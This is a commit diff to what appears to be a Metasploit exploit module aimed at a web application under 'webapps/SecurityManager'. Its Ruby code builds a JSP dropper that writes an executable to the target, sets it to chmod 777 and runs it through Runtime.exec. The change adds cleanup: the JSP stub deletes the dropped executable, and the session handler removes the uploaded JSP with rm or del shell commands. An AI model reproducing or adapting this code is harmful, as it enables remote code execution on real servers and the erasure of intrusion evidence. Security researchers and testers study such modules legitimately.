@@ -68,16 +68,26 @@ def check
68
68
# We cannot delete the executable because it will still be in use.
69
69
#
70
70
def on_new_session ( cli )
71
- if cli . type != 'meterpreter'
72
- print_warning ( "Meterpreter not used. Please manually remove #{ @jsp_name + '.jsp' } " )
73
- return
71
+ if target [ 'Platform' ] == 'linux'
72
+ print_warning ( "Malicious executable is removed during payload execution" )
74
73
end
75
74
76
- cli . core . use ( "stdapi" ) if not cli . ext . aliases . include? ( "stdapi" )
75
+ if cli . type == 'meterpreter'
76
+ cli . core . use ( "stdapi" ) if not cli . ext . aliases . include? ( "stdapi" )
77
+ end
77
78
78
79
begin
80
+ path = "../webapps/SecurityManager/#{ @jsp_name + '.jsp' } "
79
81
print_warning ( "#{ rhost } :#{ rport } - Deleting: #{ @jsp_name + '.jsp' } " )
80
- cli . fs . file . rm ( "../webapps/SecurityManager/#{ @jsp_name + '.jsp' } " )
82
+
83
+ if cli . type == 'meterpreter'
84
+ cli . fs . file . rm ( path )
85
+ else
86
+ del_cmd = ( target [ 'Platform' ] == 'linux' ) ? 'rm' : 'del'
87
+ path = path . gsub ( /\/ / , '\\' ) if target [ 'Platform' ] == 'win'
88
+ cli . shell_command_token ( "#{ del_cmd } \" #{ path } \" " )
89
+ end
90
+
81
91
print_good ( "#{ rhost } :#{ rport } - #{ @jsp_name + '.jsp' } deleted" )
82
92
rescue ::Exception => e
83
93
print_error ( "Unable to delete #{ @jsp_name + '.jsp' } : #{ e . message } " )
@@ -107,8 +117,15 @@ def generate_jsp_payload
107
117
Process #{ var_proc1 } = Runtime.getRuntime().exec("chmod 777 " + #{ var_path } );
108
118
Thread.sleep(200);
109
119
|
120
+
121
+ var_proc3 = Rex ::Text . rand_text_alpha ( rand ( 8 ) + 3 )
122
+ cleanup = %Q|
123
+ Thread.sleep(200);
124
+ Process #{ var_proc3 } = Runtime.getRuntime().exec("rm " + #{ var_path } );
125
+ |
110
126
else
111
- chmod = ''
127
+ chmod = ''
128
+ cleanup = ''
112
129
end
113
130
114
131
jsp = %Q|
@@ -132,6 +149,7 @@ def generate_jsp_payload
132
149
#{ var_ostream } .close();
133
150
#{ chmod }
134
151
Process #{ var_proc2 } = Runtime.getRuntime().exec(#{ var_path } );
152
+ #{ cleanup }
135
153
} catch (Exception e) {
136
154
}
137
155
%>
0 commit comments